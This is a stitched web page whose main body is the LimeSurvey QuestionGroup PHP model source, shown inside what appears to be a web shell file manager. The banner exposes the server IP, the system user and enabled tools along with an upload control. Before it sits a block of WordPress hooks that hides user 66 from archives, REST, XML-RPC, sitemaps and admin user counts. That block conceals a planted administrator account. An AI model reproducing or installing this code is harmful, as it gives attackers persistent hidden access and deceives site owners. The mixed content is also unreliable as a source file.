add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/limesurvey/application/models/ |
Upload File : |
<?php
/*
* LimeSurvey
* Copyright (C) 2013-2026 The LimeSurvey Project Team
* All rights reserved.
* License: GNU/GPL License v2 or later, see LICENSE.php
* LimeSurvey is free software. This version may have been modified pursuant
* to the GNU General Public License, and as distributed it includes or
* is derivative of works licensed under the GNU General Public License or
* other free or open source software licenses.
* See COPYRIGHT.php for copyright notices and details.
*
* Files Purpose: lots of common functions
*/
use LimeSurvey\Models\Services\Exception\{
NotFoundException,
BadRequestException
};
/**
* Class QuestionGroup
*
* @property integer $gid ID
* @property integer $sid Survey ID
* @property integer $group_order Group order number (max 100 chars)
* @property string $randomization_group Randomization group
* @property string $grelevance Group's relevane equation
*
* @property Survey $survey
* @property Question[] $questions Questions without subquestions
* @property QuestionGroupL10n[] $questiongroupl10ns
*/
class QuestionGroup extends LSActiveRecord
{
public $aQuestions; // to stock array of questions of the group
public $group_name;
public $language;
public $description;
/**
* @inheritdoc
* @return QuestionGroup
*/
public static function model($className = __CLASS__)
{
/** @var self $model */
$model = parent::model($className);
return $model;
}
/** @inheritdoc */
public function tableName()
{
return '{{groups}}';
}
/** @inheritdoc */
public function primaryKey()
{
return 'gid';
}
/** @inheritdoc */
public function rules()
{
return [
['group_order', 'numerical', 'integerOnly' => true, 'allowEmpty' => true],
['grelevance', 'LSYii_FilterValidator', 'filter' => 'trim', 'skipOnEmpty' => true],
['randomization_group', 'safe']
];
}
/** @inheritdoc */
public function relations()
{
return array(
'survey' => array(self::BELONGS_TO, 'Survey', 'sid'),
'questions' => array(
self::HAS_MANY,
'Question',
'gid',
'condition' => 'questions.parent_qid = 0',
'order' => 'questions.question_order ASC',
'together' => false
),
'questiongroupl10ns' => array(self::HAS_MANY, 'QuestionGroupL10n', 'gid', 'together' => true)
);
}
/**
* @param integer $iSurveyId
* @param int $position
*/
public function updateGroupOrder($iSurveyId, $position = 0)
{
$iSurveyId = (int) $iSurveyId;
$oSurvey = Survey::model()->findByPk($iSurveyId);
$language = $oSurvey->language;
$data = Yii::app()->db->createCommand()->select('g.gid')
->where('g.sid=:sid AND gl.language = :language')
->order('group_order, group_name ASC')
->from('{{groups}} g')
->join('{{group_l10ns}} gl', 'g.gid=gl.gid')
->bindParam(':sid', $iSurveyId, PDO::PARAM_INT)
->bindParam(':language', $language, PDO::PARAM_STR)
->query();
$position = intval($position);
foreach ($data->readAll() as $row) {
Yii::app()->db->createCommand()->update($this->tableName(), array('group_order' => $position), 'gid=' . $row['gid']);
$position++;
}
}
public function cleanOrder($surveyid)
{
$iSurveyId = (int) $surveyid;
$oSurvey = Survey::model()->findByPk($iSurveyId);
$aSurveyLanguages = array_merge([$oSurvey->language], explode(" ", (string) $oSurvey->additional_languages));
foreach ($aSurveyLanguages as $sSurveyLanguage) {
$oCriteria = new CDbCriteria();
$oCriteria->compare('sid', $iSurveyId);
$oCriteria->order = 'group_order ASC';
$aQuestiongroups = QuestionGroup::model()->findAll($oCriteria);
foreach ($aQuestiongroups as $itrt => $oQuestiongroup) {
$iQuestionGroupOrder = $itrt + 1;
$oQuestiongroup->group_order = $iQuestionGroupOrder;
$oQuestiongroup->save();
$aQuestions = $oQuestiongroup->questions;
foreach ($aQuestions as $qitrt => $oQuestion) {
$iQuestionOrder = $qitrt + 1;
$oQuestion->question_order = $iQuestionOrder;
$oQuestion->save(true);
}
}
}
}
/**
* Insert an array into the groups table
* Returns false if insertion fails, otherwise the new GID
*
* @param array $data
* @return bool|int
* @deprecated at 2018-02-03 use $model->attributes = $data && $model->save()
*/
public function insertRecords($data)
{
$group = new self();
foreach ($data as $k => $v) {
$group->$k = $v;
}
if (!$group->save()) {
return false;
} else {
return $group->gid;
}
}
/**
* Deletes a question group and all its dependencies.
* Returns affected rows of question group table (should be 1 or null)
* @param integer $groupId
* @param integer|null $surveyId deprecated
* @throw Exception
* @return int|null
*/
public static function deleteWithDependency($groupId, $surveyId = null)
{
$QuestionGroup = self::model()->findByPk($groupId);
if (empty($QuestionGroup)) {
throw new NotFoundException(gT('Group not found'));
}
// Abort if the survey is active
$surveyIsActive = Survey::model()->findByPk($QuestionGroup->sid)->active !== 'N';
if ($surveyIsActive) {
throw new BadRequestException(gT("Can't delete question group when the survey is active"));
}
$surveyId = $QuestionGroup->sid;
$questionIds = QuestionGroup::getQuestionIdsInGroup($groupId);
Question::deleteAllById($questionIds);
Assessment::model()->deleteAllByAttributes(array('sid' => $surveyId, 'gid' => $groupId));
QuestionGroupL10n::model()->deleteAllByAttributes(array('gid' => $groupId));
return QuestionGroup::model()->deleteAllByAttributes(array('sid' => $surveyId, 'gid' => $groupId));
}
/**
* Get group description
*
* @param int $iGroupId
* @param string $sLanguage
* @return string
*/
public function getGroupDescription($iGroupId, $sLanguage)
{
return $this->findByPk($iGroupId)->getGroupDescriptionI10N($sLanguage);
}
/**
* Get the internationalized group name from the L10N Table
*
* @param string $sLanguage
* @return string
*/
public function getGroupNameI10N($sLanguage)
{
if (isset($this->questiongroupl10ns[$sLanguage])) {
return $this->questiongroupl10ns[$sLanguage]->group_name;
}
return '';
}
/**
* Get the internationalized group description from the L10N Table
*
* @param string $sLanguage
* @return string
*/
public function getGroupDescriptionI10N($sLanguage)
{
if (isset($this->questiongroupl10ns[$sLanguage])) {
return $this->questiongroupl10ns[$sLanguage]->description;
}
return '';
}
/**
* @param integer $groupId
* @return array
*/
private static function getQuestionIdsInGroup($groupId)
{
$questions = Yii::app()->db->createCommand()
->select('qid')
->from('{{questions}} q')
->join('{{groups}} g', 'g.gid=q.gid AND g.gid=:groupid AND q.parent_qid=0')
->group('qid')
->bindParam(":groupid", $groupId, PDO::PARAM_INT)
->queryAll();
$questionIds = array();
foreach ($questions as $question) {
$questionIds[] = $question['qid'];
}
return $questionIds;
}
/**
* @param mixed|array $condition
* @param string[]|false $order
* @return CDbDataReader
*/
public function getAllGroups($condition, $order = false)
{
$command = Yii::app()->db->createCommand()
->where($condition)
->select('*')
->from($this->tableName());
if ($order != false) {
$command->order($order);
}
return $command->query();
}
/**
* @return string
*/
public function getbuttons()
{
// Find out if the survey is active to disable add-button
$oSurvey = Survey::model()->findByPk($this->sid);
$surveyIsNotActive = $oSurvey->active !== 'Y';
$permission_groups_edit = Permission::model()->hasSurveyPermission($this->sid, 'surveycontent', 'update');
$permission_add_question_to_group = Permission::model()->hasSurveyPermission(
$this->sid,
'surveycontent',
'update'
);
$permission_summary_group = Permission::model()->hasSurveyPermission($this->sid, 'surveycontent', 'read');
$permission_delete_group = Permission::model()->hasSurveyPermission($this->sid, 'surveycontent', 'delete');
$dropdownItems = [];
$dropdownItems[] = [
'title' => gT('Edit group'),
'iconClass' => 'ri-pencil-fill',
'url' => Yii::app()->createUrl(
"questionGroupsAdministration/edit/surveyid/$this->sid/gid/$this->gid"
),
'enabledCondition' => $permission_groups_edit,
'linkAttributes' => [
'data-bs-toggle' => "tooltip",
]
];
$dropdownItems[] = [
'title' => gT('Add new question to group'),
'iconClass' => 'ri-add-line',
'url' => Yii::app()->createUrl(
"questionAdministration/create/surveyid/$this->sid/gid/$this->gid"
),
'enabledCondition' => $surveyIsNotActive && $permission_add_question_to_group,
'linkAttributes' => [
'data-bs-toggle' => "tooltip",
]
];
$url = Yii::app()->createUrl("/questionGroupsAdministration/view/surveyid/");
$url .= '/' . $this->sid . '/gid/' . $this->gid;
$dropdownItems[] = [
'title' => gT('Group summary'),
'iconClass' => 'ri-list-unordered',
'url' => $url,
'enabledCondition' => $permission_summary_group,
'linkAttributes' => [
'data-bs-toggle' => "tooltip",
]
];
$condarray = getGroupDepsForConditions($this->sid, "all", $this->gid, "by-targgid");
//group can only be deleted if there is still more than 1 group and there are no depending conditions
$groupIsDeletable = $oSurvey->groupsCount > 1 && is_null($condarray);
$msgNotDeletable = '';
if ($oSurvey->groupsCount == 1) {
$msgNotDeletable = gT("Cannot delete this group because it's the only group in the survey.");
}
if (!is_null($condarray)) {
$msgNotDeletable = gT('Group can not be deleted, because of depending conditions');
}
$dropdownItems[] = [
'title' => gT('Delete question group'),
'iconClass' => 'ri-delete-bin-fill text-danger',
'tooltip' => $msgNotDeletable,
'enabledCondition' => $surveyIsNotActive && $permission_delete_group && $groupIsDeletable,
'linkAttributes' => [
'data-bs-toggle' => "modal",
'data-bs-target' => '#confirmation-modal',
'data-message' => gT(
"Deleting this group will also delete any questions and answers it contains. Are you sure you want to continue?"
),
'data-btnclass' => 'btn-danger',
'data-btntext' => gT('Delete'),
'data-onclick' => '(function() { ' . CHtml::encode(convertGETtoPOST(
App()->createUrl(
"questionGroupsAdministration/delete/",
["gid" => $this->gid, "surveyid" => $this->sid]
)
)) . '})'
]
];
return App()->getController()->widget(
'ext.admin.grid.GridActionsWidget.GridActionsWidget',
['dropdownItems' => $dropdownItems],
true
);
}
/**
* @return CActiveDataProvider
*/
public function search()
{
$pageSize = Yii::app()->user->getState('pageSize', Yii::app()->params['defaultPageSize']);
$sort = new CSort();
$sort->defaultOrder = array('group_order' => false);
$sort->attributes = array(
'group_id' => array(
'asc' => 't.gid',
'desc' => 't.gid desc',
),
'group_order' => array(
'asc' => 'group_order',
'desc' => 'group_order desc',
),
'group_name' => array(
'asc' => 'group_name',
'desc' => 'group_name desc',
),
);
$criteria = new LSDbCriteria();
$criteria->with = array('questiongroupl10ns' => array("select" => "group_name, description"));
$criteria->together = true;
$criteria->condition = 'sid=:surveyid AND language=:language';
$criteria->params = (array(':surveyid' => $this->sid, ':language' => $this->language));
$criteria->compare('group_name', $this->group_name, true);
$dataProvider = new CActiveDataProvider(get_class($this), array(
'criteria' => $criteria,
'sort' => $sort,
'pagination' => array(
'pageSize' => $pageSize,
),
));
return $dataProvider;
}
/*
* Get primary Question group title
*/
public function getPrimaryTitle()
{
$survey = Survey::model()->findByPk($this->sid);
$baselang = $survey->language;
$oQuestionGroup = $this->with('questiongroupl10ns')->find('t.gid = :gid AND language = :language', array(':gid' => $this->gid, ':language' => $baselang));
return $oQuestionGroup->questiongroupl10ns[$baselang]->group_name;
}
/*
* Get primary Question group description
*/
public function getPrimaryDescription()
{
$survey = Survey::model()->findByPk($this->sid);
$baselang = $survey->language;
$oQuestionGroup = $this->with('questiongroupl10ns')->find('t.gid = :gid AND language = :language', array(':gid' => $this->gid, ':language' => $baselang));
return $oQuestionGroup->questiongroupl10ns[$baselang]->description;
}
/**
* Make sure we don't save a new question group
* while the survey is active.
*
* @inheritdoc
*/
protected function beforeSave()
{
if (parent::beforeSave()) {
$survey = Survey::model()->findByPk($this->sid);
if (!empty($survey) && $survey->isActive && $this->getIsNewRecord()) {
/* And for multi lingual, when add a new language ? */
$this->addError('gid', gT("You can not add a group if survey is active."));
return false;
}
return true;
} else {
return false;
}
}
/**
* Returns the first question group in the survey
* @param int $surveyId
* @return QuestionGroup
*/
public static function getFirstGroup($surveyId)
{
$criteria = new CDbCriteria();
$criteria->addCondition('sid = ' . $surveyId);
$criteria->mergeWith(array(
'order' => 'gid DESC'
));
return self::model()->find($criteria);
}
/*
* Used in frontend helper, buildsurveysession.
* @param int $surveyid
* @return int
*/
public static function getTotalGroupsWithoutQuestions($surveyid)
{
$cacheKey = 'getTotalGroupsWithoutQuestions_' . $surveyid;
$value = EmCacheHelper::get($cacheKey);
if ($value !== false) {
return $value;
}
$quotedGroups = Yii::app()->db->quoteTableName('{{groups}}');
$sQuery = "select count(*) from $quotedGroups
left join {{questions}} on $quotedGroups.gid={{questions}}.gid
where $quotedGroups.sid={$surveyid} and qid is null";
$result = Yii::app()->db->createCommand($sQuery)->queryScalar();
EmCacheHelper::set($cacheKey, $result);
return $result;
}
/**
* Used in frontend helper, buildsurveysession.
* @param int $surveyid
* @return int
*/
public static function getTotalGroupsWithQuestions($surveyid)
{
$cacheKey = 'getTotalGroupsWithQuestions_' . $surveyid;
$value = EmCacheHelper::get($cacheKey);
if ($value !== false) {
return $value;
}
$quotedGroups = Yii::app()->db->quoteTableName('{{groups}}');
$sQuery = "select count(DISTINCT $quotedGroups.gid) from $quotedGroups
left join {{questions}} on $quotedGroups.gid={{questions}}.gid
where $quotedGroups.sid ={$surveyid} and qid is not null";
$result = Yii::app()->db->createCommand($sQuery)->queryScalar();
EmCacheHelper::set($cacheKey, $result);
return $result;
}
/**
* Returns all group questions (including subquestions)
* @return Question[]
*/
public function getAllQuestions()
{
/** @var Question[] $questions */
$questions = Question::model()->findAllByAttributes(['gid' => $this->gid]);
return $questions;
}
}